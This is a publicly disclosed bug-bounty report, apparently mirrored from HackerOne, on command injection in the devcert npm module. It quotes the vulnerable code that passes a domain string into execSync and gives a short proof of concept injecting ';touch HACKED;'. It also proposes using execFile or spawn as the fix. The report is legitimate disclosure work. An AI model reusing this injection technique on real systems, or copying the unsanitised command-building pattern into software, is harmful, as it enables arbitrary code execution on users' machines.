HexBrain

Node.js third-party modules · Report #863544

[devcert] Command Injection via insecure command formatting

Validstatus
criticalseverity
11upvotes
15 Jun 2020disclosed

How it was found

I would like to report a Command Injection issue in the devcert module. It allows to execute arbitrary commands on the victim's PC.

Module

module name: devcert version: 1.1.0 npm page: https://www.npmjs.com/package/devcert

Module Description

devcert - Development SSL made easy

Module Stats

[276,467] weekly downloads

Vulnerability

Vulnerability Description

The issue occurs because a user input parameter is used inside a command that is executed without any check.

I tested the certificateFor function.

Here's the code which causes the issue:

// https://github.com/davewasmer/devcert/blob/2b1b8d40eda251616bf74fd69f00ae8222ca1171/src/index.ts#L95

export async function certificateFor<O extends Options>(domain: string, options: O = {} as O): Promise<IReturnData<O>> { // <-- starting point
  debug(`Certificate requested for ${ domain }. Skipping certutil install: ${ Boolean(options.skipCertutilInstall) }. Skipping hosts file: ${ Boolean(options.skipHostsFile) }`);

  if (options.ui) {
    Object.assign(UI, options.ui);
  }

  if (!isMac && !isLinux && !isWindows) {
    throw new Error(`Platform not supported: "${ process.platform }"`);
  }

  if (!commandExists('openssl')) {
    throw new Error('OpenSSL not found: OpenSSL is required to generate SSL certificates - make sure it is installed and available in your PATH');
  }

  let domainKeyPath = pathForDomain(domain, `private-key.key`);
  let domainCertPath = pathForDomain(domain, `certificate.crt`);

  if (!exists(rootCAKeyPath)) {
    debug('Root CA is not installed yet, so it must be our first run. Installing root CA ...');
    await installCertificateAuthority(options);
  } else if (options.getCaBuffer || options.getCaPath) {
    debug('Root CA is not readable, but it probably is because an earlier version of devcert locked it. Trying to fix...');
    await ensureCACertReadable(options);
  }

  if (!exists(pathForDomain(domain, `certificate.crt`))) { 
    debug(`Can't find certificate file for ${ domain }, so it must be the first request for ${ domain }. Generating and caching ...`);
    await generateDomainCertificate(domain); // <-- domain is our payload
  }
  ....


...
// https://github.com/davewasmer/devcert/blob/master/src/constants.ts#L19
export const pathForDomain: (domain: string, ...pathSegments: string[]) => string = path.join.bind(path, domainsDir)
...

// https://github.com/davewasmer/devcert/blob/master/src/certificates.ts#L44
...
export default async function generateDomainCertificate(domain: string): Promise<void> {
  mkdirp(pathForDomain(domain));

  debug(`Generating private key for ${ domain }`);
  let domainKeyPath = pathForDomain(domain, 'private-key.key');  // <-- the variable is in the form 
  generateKey(domainKeyPath);

  debug(`Generating certificate signing request for ${ domain }`);
  let csrFile = pathForDomain(domain, `certificate-signing-request.csr`);
  withDomainSigningRequestConfig(domain, (configpath) => {
    openssl(`req -new -config "${ configpath }" -key "${ domainKeyPath }" -out "${ csrFile }"`);
  });

  debug(`Generating certificate for ${ domain } from signing request and signing with root CA`);
  let domainCertPath = pathForDomain(domain, `certificate.crt`);

  await withCertificateAuthorityCredentials(({ caKeyPath, caCertPath }) => {
    withDomainCertificateConfig(domain, (domainCertConfigPath) => {
      openssl(`ca -config "${ domainCertConfigPath }" -in "${ csrFile }" -out "${ domainCertPath }" -keyfile "${ caKeyPath }" -cert "${ caCertPath }" -days 825 -batch`)
    });
  });
}

// Generate a cryptographic key, used to sign certificates or certificate signing requests.
export function generateKey(filename: string): void {
  debug(`generateKey: ${ filename }`);  // <-- injection
  openssl(`genrsa -out "${ filename }" 2048`);
  chmod(filename, 400);
}

The input parameter domain is used to build the domainKeyPath variable. If we pass \";touch HACKED;\" as input, the variable domainKeyPath will be something like this: /home/ubuntu/.config/devcert/domains/";touch HACKED;"/private-key.key (the first part depends on your OS). As we can see the variable contains a valid shell command. Then, this variable is passed to the function generateKey, that finally calls openssl function:

// https://github.com/davewasmer/devcert/blob/master/src/utils.ts#L12
import { execSync, ExecSyncOptions } from 'child_process';
import tmp from 'tmp';
import createDebug from 'debug';
import path from 'path';
import sudoPrompt from 'sudo-prompt';

import { configPath } from './constants';

const debug = createDebug('devcert:util');

export function openssl(cmd: string) {
  return run(`openssl ${ cmd }`, {  // <-- the command executed is: openssl genrsa -out "/home/ubuntu/.config/devcert/domains/";touch HACKED;"/private-key.key" 2048
    stdio: 'pipe',
    env: Object.assign({
      RANDFILE: path.join(configPath('.rnd'))
    }, process.env)
  });
}

export function run(cmd: string, options: ExecSyncOptions = {}) {
  debug(`exec: \`${ cmd }\``);
  return execSync(cmd, options);  // <-- call child_process.execSync 
}
...

Steps To Reproduce:

  • create a directory for testing

    • mkdir poc
    • cd poc/
  • install devcert module:

    • npm i devcert
  • create the following PoC JavaScript file (poc.js):

const devcert = require('devcert');

async function poc() {
    let ssl = await devcert.certificateFor('\";touch HACKED;\"');
}
poc()
  • make sure that the HACKED file does not exist:
    • ls
  • execute the poc.js file:
    • node poc.js
  • the HACKED file is created:
    • ls

{F810294}

Patch

Do not concatenate/format commands using insecure user's input. Always check and sanitize it. In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.execSync.

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
  • NODEJS VERSION: v13.13.0
  • NPM VERSION: 6.14.4

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

Command Injection on devcert module via insecure command formatting.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original